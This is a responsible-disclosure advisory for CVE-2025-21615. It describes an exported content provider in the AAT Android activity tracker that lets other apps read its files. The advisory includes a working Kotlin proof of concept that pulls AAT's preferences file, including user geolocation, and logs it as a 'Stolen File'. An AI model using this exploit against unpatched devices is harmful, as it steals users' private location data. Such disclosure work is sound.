An insecurely configured content provider in the AAT Android App, allowed an attacker to exfiltrate data via malicious apps installed on the same device
Open Source
NTCF:
NTCF-2024-8731
CVE:
CVE-2025-21615
Product:
Another Activity Tracker AAT
Vendor:
bailuk
Criticality:
medium
Status:
fixed
Discovered:
2024-01-16
Detail:
Public
Vulnerable version:
<1.26
Fixed version:
1.26
Background
Another Activity Tracker AAT is a an open source GPS-tracking application for tracking sportive activities, with emphasis on cycling. The NTC tested the mobile app as part of our commitment to look into popular Swiss open source projects.
The app can be downloaded from F-Droid and its' source code is available on GitHub.
Vulnerability
Malicious apps installed on the same device as AAT can exfiltrate data including geolocations. This is possible by calling the exported ch.bailu.aat.gpx
content provider.
The vulnerable content provider is definded in the Manifest.xml.
(From https://github.com/bailuk/AAT/blob/8518a2d80c65f3f0dc7b884ed0213f07e457cb71/aat-android/src/main/AndroidManifest.xml#L185):
<provider android:name="ch.bailu.aat.providers.GpxProvider"
android:authorities="${applicationId}.gpx"
android:exported="true">
</provider>
As the activity is exported, it can be called by other apps installed on the device. The content provider query method did not validate the input parameters and allowed other apps to retrieve file contents from specified urls. The snippet below originates from https://github.com/bailuk/AAT/blob/3878c638ab8b2730ce3e9ed6b0b861ac51945f5d/aat-android/src/main/kotlin/ch/bailu/aat/providers/GpxProvider.kt#L30 and shows the vulnerable method.
override fun query(
uri: Uri,
strings: Array<String>?,
s: String?,
strings2: Array<String>?,
s2: String?
): Cursor {
val cursor = MatrixCursor(arrayOf(
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE))
val path = uri.path
if (path != null) {
val file = File(path)
cursor.addRow(arrayOf<Any>(file.name, file.length()))
}
return cursor
}
Proof of Concept
To exploit this vulnerability, a different app needs to specify the provider in their Manifest.xml
:
<queries>
<provider android:authorities="ch.bailu.aat.gpx" />
</queries>
Using this provider, a malicious application can read the shared preferences of AAT, but it is possible to steal other data as well. The snippet below shows a way to retrieve the shared preferences from AAT, which also include the geolocation of users.
class MainActivity : ComponentActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val URL = Uri.parse(
"content://ch.bailu.aat.gpx/data/data/ch.bailu.aat/shared_prefs/Preferences.xml")
try {
val pfd = contentResolver.openFile(URL, "r", null)
FileInputStream(pfd!!.fileDescriptor).use { inputStream ->
Log.wtf(
"Stolen File",
String(inputStream.readAllBytes())
)
}
} catch (e: IOException) {
Log.wtf("Exception Happened", e.message.toString())
}
}
}
The result of the snippet is shown in the screenshot below.

Remediation
The vulnerabilty was fixed in e1e1e697ae6aaef400f0a0f768fd66e40c34f61a. The app now only gives access to the one file that explicitly allowed for export by the user and limits that access to 30 seconds.
Patches
This issue has been fixed in version 1.26
. It is recommended that all users of AAT update to the latest version.
Timeline
2024-01-16: initial discovery
2024-01-31: first contact to vendor
2024-06-03: no reply via email; filed an issue asking for a security contact
2024-06-10: private disclosure to vendor
2024-06-10: filed a private security advisory on GitHub
2024-07-20: fix by vendor
2024-09-16: asked maintainer if they would be ok with a public advisory
2024-10-07: reply by Maintainer: CVE and advisory is fine
2024-10-22: advisory text adjusted by NTC; Gave go ahead for publication
2025-01-06: advisory published by maintainer
2025-01-07: CVE-2025-21615 assigned by GitHub
2025-01-20: public disclosure